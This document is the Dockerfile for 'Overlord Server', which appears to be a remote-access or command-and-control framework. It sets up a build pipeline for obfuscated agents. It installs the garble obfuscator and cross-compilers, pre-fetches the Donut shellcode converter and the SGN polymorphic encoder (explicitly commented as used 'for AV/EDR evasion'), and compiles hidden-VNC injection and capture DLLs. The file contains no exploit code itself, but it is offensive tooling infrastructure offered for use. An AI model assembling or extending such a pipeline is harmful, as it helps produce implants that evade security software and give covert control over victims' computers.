191 lines
7.6 KiB
Docker
191 lines
7.6 KiB
Docker
# syntax=docker/dockerfile:1.7
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# Overlord Server Dockerfile (multi-stage)
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#
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# Stage 1 (builder): full apt toolchain to compile assets + HVNC DLLs.
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# Stage 2 (runtime, slim): only what the server needs at startup. Cross-compile
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# toolchains (mingw, aarch64/armv7/musl, Android NDK, ldid, UPX) are downloaded
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# on first agent build by Overlord-Server/src/server/toolchain-manager.ts and
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# cached in the persistent /app/data volume.
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# ============================================================
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# Stage 1: builder
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# ============================================================
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FROM oven/bun:1 AS builder
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WORKDIR /app
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RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \
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--mount=type=cache,target=/var/lib/apt,sharing=locked \
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apt-get update && apt-get install -y --no-install-recommends \
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build-essential \
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gcc-mingw-w64-x86-64 \
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g++-mingw-w64-x86-64 \
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gcc-mingw-w64-i686 \
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ca-certificates \
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wget \
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curl \
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git \
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unzip \
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zip
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ENV GO_VERSION=1.26.2
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ARG TARGETARCH
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RUN case "${TARGETARCH:-amd64}" in \
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amd64) GO_ARCH=amd64 ;; \
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arm64) GO_ARCH=arm64 ;; \
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*) echo "Unsupported architecture: ${TARGETARCH}" >&2; exit 1 ;; \
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esac \
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&& wget -q "https://go.dev/dl/go${GO_VERSION}.linux-${GO_ARCH}.tar.gz" \
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&& tar -C /usr/local -xzf "go${GO_VERSION}.linux-${GO_ARCH}.tar.gz" \
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&& rm "go${GO_VERSION}.linux-${GO_ARCH}.tar.gz" \
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&& rm -rf /usr/local/go/test /usr/local/go/api /usr/local/go/doc /usr/local/go/misc
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ENV PATH="/usr/local/go/bin:/go/bin:${PATH}"
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ENV GOPATH="/go"
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ENV GOCACHE=/root/.cache/go-build
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ENV GOMODCACHE=/go/pkg/mod
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RUN --mount=type=cache,target=/root/.cache/go-build \
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--mount=type=cache,target=/go/pkg/mod \
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go install mvdan.cc/garble@latest
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# Pre-fetch the latest Donut shellcode converter binary.
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# The runtime donut-manager will re-check GitHub and update automatically;
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# this step just ensures a working binary is available offline / on first use.
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RUN DONUT_TAG=$(curl -sSf "https://api.github.com/repos/TheWover/donut/releases/latest" \
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| grep '"tag_name"' | head -1 | cut -d'"' -f4) \
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&& ARCHIVE_URL="https://github.com/TheWover/donut/releases/download/${DONUT_TAG}/donut_${DONUT_TAG}.tar.gz" \
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&& if curl -sSfL "${ARCHIVE_URL}" | tar xzf - --strip-components=0 -C /usr/local/bin ./donut 2>/dev/null; then \
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chmod +x /usr/local/bin/donut; \
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echo "Donut ${DONUT_TAG} pre-installed from archive"; \
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else \
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echo "WARNING: Donut pre-fetch failed — will fall back to system PATH or download on first use"; \
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fi
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# Pre-fetch the latest SGN (Shikata Ga Nai) polymorphic encoder.
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# Used post-Donut to encode raw shellcode for AV/EDR evasion. The runtime
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# sgn-manager will re-check GitHub daily and update automatically; this
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# step just ensures a working binary is available offline / on first use.
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RUN SGN_ASSET=$(curl -sSf "https://api.github.com/repos/EgeBalci/sgn/releases/latest" \
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| grep -oE '"browser_download_url":[[:space:]]*"[^"]*sgn_linux_amd64[^"]*\.zip"' \
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| head -1 | cut -d'"' -f4) \
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&& if [ -n "${SGN_ASSET}" ] && curl -sSfL "${SGN_ASSET}" -o /tmp/sgn.zip \
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&& unzip -j -o /tmp/sgn.zip -d /usr/local/bin >/dev/null 2>&1 \
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&& [ -f /usr/local/bin/sgn ]; then \
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chmod +x /usr/local/bin/sgn; \
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echo "SGN pre-installed from ${SGN_ASSET}"; \
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else \
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echo "WARNING: SGN pre-fetch failed — will fall back to system PATH or download on first use"; \
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fi \
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&& rm -f /tmp/sgn.zip
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# Full bun install (includes devDeps needed for tailwind / vendor / minify steps)
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COPY Overlord-Server/package.json Overlord-Server/bun.lock* ./
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RUN --mount=type=cache,target=/root/.bun/install/cache \
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bun install --frozen-lockfile
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# Server source (Overlord-Server/dist-clients may carry pre-built MSVC DLLs from CI)
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COPY Overlord-Server/ ./
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# HVNC sources for the cross-compile fallback (used only if no pre-built MSVC DLL).
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COPY BackstageInjection/ ./BackstageInjection/
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COPY scripts/build-backstage-dll.sh ./scripts/
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COPY BackstageCapture/ ./BackstageCapture/
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COPY scripts/build-backstage-capture-dll.sh ./scripts/
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RUN mkdir -p dist-clients && \
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if [ -f dist-clients/BackstageInjection.x64.dll ]; then \
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echo "Using pre-built MSVC BackstageInjection DLL"; \
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else \
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chmod +x scripts/build-backstage-dll.sh && \
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HVNC_SRC_DIR=BackstageInjection/src HVNC_OUT_DIR=dist-clients bash scripts/build-backstage-dll.sh || \
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echo "WARNING: BackstageInjection DLL not available (build with MSVC on Windows)"; \
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fi
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RUN if [ -f dist-clients/BackstageCapture.x64.dll ]; then \
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echo "Using pre-built MSVC BackstageCapture DLL"; \
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else \
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chmod +x scripts/build-backstage-capture-dll.sh && \
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HVNC_CAPTURE_SRC_DIR=BackstageCapture/src HVNC_CAPTURE_OUT_DIR=dist-clients bash scripts/build-backstage-capture-dll.sh || \
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echo "WARNING: BackstageCapture DLL not available (build with MSVC on Windows)"; \
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fi
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# Tailwind CSS, vendored frontend assets, minified public assets, and bundled Bun server runtime.
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RUN bun run build:public:prod \
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&& bun run build:bundle \
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&& test "$(wc -l < ./public/index.html)" -lt 20 \
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&& test "$(wc -l < ./public/assets/main.js)" -lt 50 \
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&& test -s ./public/assets/tailwind.css \
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&& test -d ./public/vendor/fontawesome \
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&& test -s ./dist/index.js \
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&& test -s ./dist/server/plugin-runtime/worker-host.js
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# ============================================================
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# Stage 2: runtime (slim)
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# ============================================================
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FROM oven/bun:1-slim AS runtime
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WORKDIR /app
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# openssl/ca-certificates: TLS cert generation + HTTPS validation.
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# wget/tar/unzip/xz-utils: required by toolchain-manager for on-demand downloads.
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# ffmpeg: server-side remote desktop recording encoder.
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# clang: fallback C compiler for darwin/CGO agent builds (no toolchain mapping in
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# toolchain-manager.ts, so build-process.ts falls back to the default `cc`).
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RUN --mount=type=cache,target=/var/cache/apt,sharing=locked \
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--mount=type=cache,target=/var/lib/apt,sharing=locked \
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apt-get update && apt-get install -y --no-install-recommends \
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openssl \
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ca-certificates \
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wget \
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tar \
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unzip \
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xz-utils \
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git \
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ffmpeg \
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clang \
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&& rm -rf /var/lib/apt/lists/*
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# Reuse Go + garble from the builder so we don't re-download.
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COPY --from=builder /usr/local/go /usr/local/go
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COPY --from=builder /go/bin/garble /go/bin/garble
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ENV PATH="/usr/local/go/bin:/go/bin:${PATH}"
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ENV GOPATH="/go"
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ENV GOCACHE=/root/.cache/go-build
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ENV GOMODCACHE=/go/pkg/mod
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# Production-only node_modules (drops tailwind, terser, postcss, typescript, ...).
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COPY Overlord-Server/package.json Overlord-Server/bun.lock* ./
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RUN --mount=type=cache,target=/root/.bun/install/cache \
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bun install --production --frozen-lockfile
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# Built runtime artifacts from the builder stage.
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COPY --from=builder /app/dist ./dist
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COPY --from=builder /app/public ./public
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COPY --from=builder /app/dist-clients ./dist-clients
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# Go agent source needed at every agent build.
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COPY Overlord-Client/ ./Overlord-Client/
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RUN test -s ./Overlord-Client/third_party/nvcodec/nvEncodeAPI.h
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RUN mkdir -p certs data
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# Pre-seed Go module cache so first agent builds work offline.
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RUN --mount=type=cache,target=/root/.cache/go-build \
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--mount=type=cache,target=/go/pkg/mod \
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cd /app/Overlord-Client && \
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GOWORK=off \
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GOMODCACHE=/go/pkg/mod \
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go mod download
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EXPOSE 5173
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ENV PORT=5173
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ENV HOST=0.0.0.0
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ENV DATA_DIR=/app/data
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ENV NODE_ENV=production
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ENV OVERLORD_ROOT=/app
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ENV NODE_PATH=/app/node_modules
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CMD ["bun", "dist/index.js"]
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